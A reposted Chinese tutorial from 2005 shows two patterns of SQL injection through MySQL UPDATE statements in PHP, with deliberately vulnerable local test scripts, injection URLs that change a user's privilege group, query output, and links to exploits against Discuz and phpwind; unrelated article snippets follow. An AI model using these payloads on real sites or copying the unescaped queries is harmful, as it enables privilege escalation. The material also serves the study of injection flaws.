mysql update实质,UPDATE注射(mysql+php)的两个模式

UPDATE注射(mysql+php)的两个模式

2021-01-23 7:48:35424

UPDATE注射(mysql+php)的两个模式

文/安全天使·SuperHei2005.8.11

一.测试环境:

OS:Windowsxpsp2

php:php4.3.10(

mysql4.1.9

apache1.3.33

二.测试数据库结构:

-----start---

--数据库:`test`

--

----------------------------------------------------------

--

--表的结构`userinfo`

--

CREATETABLE`userinfo`(

`groudid`varchar(12)NOTNULLdefault'1',

`user`varchar(12)NOTNULLdefault'heige',

`pass`varchar(122)NOTNULLdefault'123456'

)ENGINE=MyISAMDEFAULTCHARSET=latin1;

--

--导出表中的数据`userinfo`

--

INSERTINTO`userinfo`VALUES('2','heige','123456');

------end-------

三.测试模式:

1,变量没有带''或""[MOD1]

//test1.phpMod1

$servername="localhost";

$dbusername="root";

$dbpassword="";

$dbname="test";

mysql_connect($servername,$dbusername,$dbpassword)ordie("数据库连接失败");

$sql="updateuserinfosetpass=$pwhereuser='heige'";//

$result=mysql_db_query($dbname,$sql);

$userinfo=mysql_fetch_array($result);

echo"

SQLQuery:$sql

";

?>

脚本里只是修改user='heige'的pass,如果groudid表示用户的权限等级,我们的目的就是通过构造$p来达

到修改groupid的目的:

那么我们提交:http://127.0.0.1/test1.php?p=123456,groudid=1

在mysql里查询:

mysql>select*fromuserinfo;

+---------+-------+--------+

|groudid|user|pass|

+---------+-------+--------+

|1|heige|123456|

+---------+-------+--------+

1rowinset(0.01sec)

用户heige的groudid又2改为1了:)

所以我们可以得到没有''或""update的注射是可以成功的,这个就是我们的模式1。

2,变量带''或""[MOD2]

//test2.php

$servername="localhost";

$dbusername="root";

$dbpassword="";

$dbname="test";

mysql_connect($servername,$dbusername,$dbpassword)ordie("数据库连接失败");

$sql="updateuserinfosetpass='$p'whereuser='heige'";//

$result=mysql_db_query($dbname,$sql);

$userinfo=mysql_fetch_array($result);

echo"

SQLQuery:$sql

";

?>

为了关闭'我们构造$p应该为123456',groudid='2提交:

http://127.0.0.1/test2.php?p=123456',groudid='1在gpc=on的情况下'变成了\'

提交的语句变成:SQLQuery:updateuserinfosetpass='123456\',groudid=\'1'whereuser='heige'

mysql查询:

mysql>select*fromuserinfo;

+---------+-------+--------------------+

|groudid|user|pass|

+---------+-------+--------------------+

|2|heige|123456',groudid='1|

+---------+-------+--------------------+

1rowinset(0.00sec)

groudid并没有被修改。那么在变量被''或""时就完全没有被注射呢?不是下面我们看模式2:

//test3.phpMod2

$servername="localhost";

$dbusername="root";

$dbpassword="";

$dbname="test";

mysql_connect($servername,$dbusername,$dbpassword)ordie("数据库连接失败");

$sql="updateuserinfosetpass='$p'whereuser='heige'";//

$result=mysql_db_query($dbname,$sql);

mysql_fetch_array($result);//$p的数据写入数据库

$sql="selectpassfromuserinfowhereuser='heige'";

$result=mysql_db_query($dbname,$sql);

$userinfo=mysql_fetch_array($result);

echo$userinfo[0];//把pass查询输出给$userinfo[0]

$sql="updateuserinfosetpass='$userinfo[0]'whereuser='heige'";

$result=mysql_db_query($dbname,$sql);

mysql_fetch_array($result);//把$userinfo[0]再次update

?>

我们测试下,提交:http://127.0.0.1/test3.php?p=123456',groudid='1

回mysql查询下:

mysql>select*fromuserinfo;

+---------+-------+--------+

|groudid|user|pass|

+---------+-------+--------+

|1|heige|123456|

+---------+-------+--------+

1rowinset(0.00sec)

HaHa~~成功注射修改groudid为1。这个就是我们的模式2了,简单的描叙如下:

update-->select-->update

四.实际模式

模式1:Discuz2.0/2.2register.php注射

漏洞分析:http://4ngel.net/article/41.htm

Discuz2.0/2.2register.phpRemoteExploit:http://4ngel.net/project/discuz_reg.htm

模式2:phpwind2.0.2和3.31e权限提升漏洞

漏洞分析:

update(profile.php注射变量为$proiconupdate语句里为,icon='$userdb[icon]')

v

select(jop.php)

v

updtate(jop.php)

Exploit:http://www.huij.net/9xiao/up/phpwind-exploit.exe

五.鸣谢

特别感谢saiy等朋友的讨论和帮助。Thanks!!!

点击这里复制本文地址

以上内容由聚米学院网友整理呈现,如对侵犯您的权益,请联系邮箱:fzsbm@qq.com

留言评论

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/452713.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

数据库系统的特点

数据结构化数据的共享性高,冗余度低且易扩充数据独立性高数据由数据库管理系统统一管理和控制

SNF软件开发机器人-子系统-导出-导入功能-多人合作时这个功能经常用到

导出 导出可以将资源表和子系统导出并形成一个json文件。 1.效果展示: 2.使用说明: 点击导出按钮后会弹出一个导出页面。页面的左侧可以选择功能,右侧可以选择资源表,选择功能的同时右侧中功能所需的资源表也会被选择。当功能之间…

基于物理的渲染-用真实的环境光照亮物体

目前,在游戏引擎中用于照亮物体的光源非常丰富。其中,比较常用的有:平行方向光、点光源、聚光灯以及体积光等,但它们都是对真实光源的近似,并不能很好地模拟真实世界中的复杂光照情况。为了增加光照效果的真实感&#…

php中取出数组中指定的值,PHP除开数组中指定的值

PHP去除数组中指定的值//一维数组简单的做法 unset($arr[array_search($value,$arr)])$arr array("a","b","c","d");function isHave($var){if($var!"b")return true;}$arr_filter array_values(array_filter($arr,"…

实体以及实体型和实体集

实体(Entity) 客观存在并可相互区别的事物称为实体。 可以是具体的人、事、物或抽象的概念。 属性(Attribute) 实体所具有的某一特性称为属性。 一个实体可以由若干个属性来刻画。 实体型(Entity Type&#xf…

mysql中locat函数,MySQL中的LOCATE和POSITION函数使用方法 | 很文博客

不常用:MySQL中的LOCATE和POSITION函数LOCATE(substr,str)POSITION(substr IN str)返回子串 substr 在字符串 str 中第一次出现的位置。如果子串 substr 在 str 中不存在,返回值为 0:mysql> SELECT LOCATE(bar, ‘foobarbar);-> 4mysql…

什么是数据的完整性约束

为了防止不符合规范的数据进入数据库,在用户对数据进行插入、修改、删除等操作时,DBMS自动按照一定的约束条件对数据进行监测,使不符合规范的数据不能进入数据库,以确保数据库中存储的数据正确、有效、相容。

Python--协程(gevent模块)

一:前言 协程又称为微线程,纤程。英文名Coroutine:协程是一种用户态的轻量级线程 协程拥有自己的寄存器上下文和栈。协程调度切换时,将寄存器上下文和栈保存到其他地方,在切回来的时候,恢复之前保存的寄存器上下文和…

ffmpeg 0.6.3 代码, 经过我努力,能够在vs 2005 下单步调试代码

1. ffmpeg-0.6.3_modify.7z 是修改后的ffmepg的代码; 2.ffmpeg-0.6.3_srouce.tar.bz2 是ffmpeg原始代码; 3.SDL-devel-1.2.15-VC.zip 是图像显示使用使用的sdl代码; 4.w_cc_p_10.1.020.exe 是vc 2005 需要使用的编译器&#xff1b…

克隆CentOS6虚拟机eth0被修改为eth1如何修改eth0

2019独角兽企业重金招聘Python工程师标准>>> 直接修改 /etc/sysconfig/network-script/ifcfg-eth0 删掉UUID HWADDR 配置静态地址 然后: rm -rf  /etc/udev/rules.d/70-persistent-net.rules然后reboot 转载于:https://my.oschina.net/hengbao666/blog/…

[Hnoi2013]消毒

Description 最近在生物实验室工作的小T遇到了大麻烦。 由于实验室最近升级的缘故,他的分格实验皿是一个长方体,其尺寸为abc,a、b、c 均为正整数。为了实验的方便,它被划分为abc个单位立方体区域,每个单位立方体尺寸 为111。用(i,…

php按照文件名字排序,php readdir 排序问题,如何按照日期进行排序

目前是这么写的:function posts_get($directory,$ext){if (is_dir($directory)) {$handle opendir($directory);while ($file readdir($handle)){$subdir $directory . / .$file;if ($file ! . && $file !.. && is_dir($subdir)){posts_get($sub…

关系模型的名词

关系(Relation)一个关系对应通常说的一张表元组(Tuple)表中的一行即为一个元组属性(Attribute)表中的一列即为一个属性,给每一个属性起一个名称即属性名主码(Key)也称码键…

物理卷、卷组、逻辑卷

参考文章: 相关文献 谢谢作者分享!

fibonacci数列的题目——剑指Offer

https://www.nowcoder.net/practice/c6c7742f5ba7442aada113136ddea0c3?tpId13&tqId11160&tPage1&rp1&ru/ta/coding-interviews&qru/ta/coding-interviews/question-ranking 大家都知道斐波那契数列,现在要求输入一个整数n,请你输出…

如何高效的编写与同步博客 (.NET Core 小工具实现)

系列目录 [如何高效的编写与同步博客(一)- 编写 ]如何高效的编写与同步博客(二)- 快速发布到多个渠道一.前言 写博客,可以带给我们很多好处,比如可以让我们结识更多志同道合的人;在写博客过程中…

java appendable,org.eclipse.jetty.util.Utf8Appendable$NotUtf8Exception: Not valid UTF8

上传文件奇怪的错误2016-10-14 11:00:52,254 nuoshang.bluejay.common.shiro.cache.RedisCache.put(RedisCache.java:54) DEBUG - SET nameshiro-activeSessionCache key70qv5bejsihmgot7hroqg6q0lv2016-10-14 11:00:52,254 nuoshang.bluejay.common.shiro.cache.LCache.fire(L…

Oracle高可用概述(HA与RAC的关系解惑)

1.你如何理解高可用的概念? 所谓的高可用HA就是当你的系统中的某个节点异常损坏了,系统还是可用状态,还可以对外提供服务,不会因为你的节点丢失而整体瘫痪。 2.列出你知道的Oracle高可用产品,并作一些功能和应用场景上…